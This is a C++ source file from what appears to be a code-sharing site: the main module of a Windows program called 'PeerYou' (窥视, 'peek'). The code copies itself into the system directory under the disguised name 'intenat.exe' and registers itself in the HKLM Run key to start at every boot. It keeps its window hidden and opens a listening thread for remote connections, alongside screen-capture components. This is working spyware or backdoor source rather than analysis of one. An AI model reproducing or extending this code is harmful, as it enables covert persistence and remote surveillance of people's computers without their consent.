📄 peeryous.cpp
字号:
// PeerYouS.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "globalhead.h"
#include "resource.h"
#include "LZWCompress.h"
#include "CaptureScreen.h"
#include "PeerSocket.h"
#include "PeerThread.h"
#include "command.h"
// 全局实例及主窗体变量
HINSTANCE hInst;
HWND hMainWnd;
// 相关函数声明
ATOM RegisterMainWndClass(HINSTANCE hInstance);
BOOL CreateMainWindow(HINSTANCE, int);
LRESULT CALLBACK MainWndProc(HWND, UINT, WPARAM, LPARAM);
//////////////////////////////////////
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// 创建互斥体,保证只有一个实例
char direct[256],fi[256],cur[256];
int dirsize=256,dirsize2;
if((dirsize2=GetSystemDirectory(direct,dirsize))==0)
return false;
direct[dirsize2]=0;
strcpy(fi,direct);
strcat(fi,"\\intenat.exe");
WIN32_FIND_DATA wfd;
if(INVALID_HANDLE_VALUE==FindFirstFile(fi,&wfd))
{
int ii;
ii=GetModuleFileName(hInstance,cur,dirsize);
cur[ii]=0;
CopyFile(cur,fi,true);
}
if ((hOnlyInstance=CreateMutex(NULL,false,"JFY's PeerYou"))==NULL)
return -1;
else if (GetLastError()==ERROR_ALREADY_EXISTS)
return -1;
HKEY keyRet;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
,0,KEY_READ|KEY_WRITE,&keyRet)==ERROR_SUCCESS)
{
unsigned char value[256];
DWORD type=REG_SZ;
DWORD size;
if(RegQueryValueEx(keyRet,"intenat",NULL,&type,value,&size)!=ERROR_SUCCESS)
{
strcat(direct,"\\intenat.exe");
DWORD nowsize=strlen(direct);
RegSetValueEx(keyRet,"intenat",NULL,REG_SZ,(unsigned char*)direct,nowsize);
}
RegCloseKey(keyRet);
}
// 创建用于退出程序的事件句柄
if ((hExitEvent=WSACreateEvent())==WSA_INVALID_EVENT){
CloseHandle(hOnlyInstance);
return -1;
}
// 初始化Windsock
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData)!=0) {
// 无可用WinSock DLL.
CloseHandle(hOnlyInstance);
CloseHandle(hExitEvent);
return -1;
}
// 需要2.2版Winsock.dll
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 2 ) {
CloseHandle(hOnlyInstance);
CloseHandle(hExitEvent);
WSACleanup();
return -1;
}
MSG msg;
// 注册窗体类
RegisterMainWndClass(hInstance);
// 创建主窗体
if (!CreateMainWindow(hInstance, nCmdShow))
{
CloseHandle(hOnlyInstance);
CloseHandle(hExitEvent);
WSACleanup();
return FALSE;
}
InitializeCriticalSection(&csCaptureScreen);
// 主信息循环
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// 释放WinSock Dll
WSACleanup();
// 释放系统句柄
CloseHandle(hOnlyInstance);
WSACloseEvent(hExitEvent);
DeleteCriticalSection(&csCaptureScreen);
return msg.wParam;
}
//
// FUNCTION: MyRegisterClass()
//
// PURPOSE: Registers the window class.
//
// COMMENTS:
//
// This function and its usage is only necessary if you want this code
// to be compatible with Win32 systems prior to the 'RegisterClassEx'
// function that was added to Windows 95. It is important to call this function
// so that the application will get 'well formed' small icons associated
// with it.
//
ATOM RegisterMainWndClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)MainWndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, (LPCTSTR)IDI_PEERYOUS);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = "JiFuYi's PeerYou";
wcex.hIconSm = LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL);
return RegisterClassEx(&wcex);
}
//
// FUNCTION: InitInstance(HANDLE, int)
//
// PURPOSE: Saves instance handle and creates main window
//
// COMMENTS:
//
// In this function, we save the instance handle in a global variable and
// create and display the main program window.
//
BOOL CreateMainWindow(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // Store instance handle in our global variable
hMainWnd = CreateWindow("JiFuYi's PeerYou", "窥视 VER 0.1 BUILD 011217", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
if (!hMainWnd)
{
return FALSE;
}
ShowWindow(hMainWnd, SW_HIDE);
UpdateWindow(hMainWnd);
return TRUE;
}
//
// FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_CREATE:
///得到主机名称
int nComputerNameLen;
nComputerNameLen=MAX_COMPUTERNAME_LENGTH + 1;
if(SOCKET_ERROR==gethostname(szHostName,nComputerNameLen))
return -1;
///////end//////////
///得到主机IP地址
HOSTENT *hentThisHost;
hentThisHost=NULL;
if(!(hentThisHost=gethostbyname(szHostName)))
return -1;
in_addr inaddrThisHost;
memcpy(&inaddrThisHost.S_un.S_addr,hentThisHost->h_addr,hentThisHost->h_length);
strcpy(szHostAddr,inet_ntoa(inaddrThisHost));
///////end///////////
///////正式开始//////
//初始化关键代码段(保护线程列表)
InitializeCriticalSection(&csProtectList);
//创建准备事件句柄
hPrepareEvent=CreateEvent(NULL,FALSE,TRUE,NULL);
//置为未标志状态
ResetEvent(hPrepareEvent);
//启动监听线程
hAcceptThread=BeginPeerThread(AcceptThread,NULL,&uAcceptThreadID);
if(!hAcceptThread)
{
CloseHandle(hPrepareEvent);
return FALSE;
}
//监听线程初始化是否完毕
if(WaitForSingleObject(hPrepareEvent,PEER_WAITTIME)!=WAIT_OBJECT_0)
{
CloseHandle(hPrepareEvent);
return FALSE;
}
//准备事件句柄置为未标志状态
ResetEvent(hPrepareEvent);
//启动清理线程动态跟踪系统
hCleanupThread =BeginPeerThread(CleanupThread,NULL,&uCleanupThreadID);
if(!hCleanupThread)
{
CloseHandle(hPrepareEvent);
return FALSE;
}
//清理线程初始化是否完毕
if(WaitForSingleObject(hPrepareEvent,PEER_WAITTIME)!=WAIT_OBJECT_0)
{
CloseHandle(hPrepareEvent);
return FALSE;
}
CloseHandle(hPrepareEvent);
break;
case WM_PAINT:
HDC hdc;
PAINTSTRUCT ps;
hdc=BeginPaint(hMainWnd,&ps);
RECT rect;
GetClientRect(hMainWnd,&rect);
DrawText(hdc,szHostName,strlen(szHostName),&rect,DT_CENTER);
DrawText(hdc,szHostAddr,strlen(szHostAddr),&rect,DT_SINGLELINE|DT_VCENTER|DT_CENTER);
EndPaint(hMainWnd,&ps);
break;
case WM_CLOSE:
HANDLE hEvent[2];
//等待两个主要线程是否已经退出
hEvent[0]=hAcceptThread;
hEvent[1]=hCleanupThread;
WSASetEvent(hExitEvent);
if(WaitForMultipleObjects(2,hEvent,true,PEER_WAITTIME)==WAIT_TIMEOUT)
{
//结束线程
TerminateThread(hAcceptThread,-1);
TerminateThread(hCleanupThread,-1);
}
//关闭线程句柄
CloseHandle(hAcceptThread);
CloseHandle(hCleanupThread);
//所有服务线程都已经退出
while(listConnectThread.size())
{
Sleep(100);
}
//删除关键代码段(保护线程列表)
DeleteCriticalSection(&csProtectList);
//发送关闭窗口消息
SendMessage(hMainWnd,WM_DESTROY,0,0);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -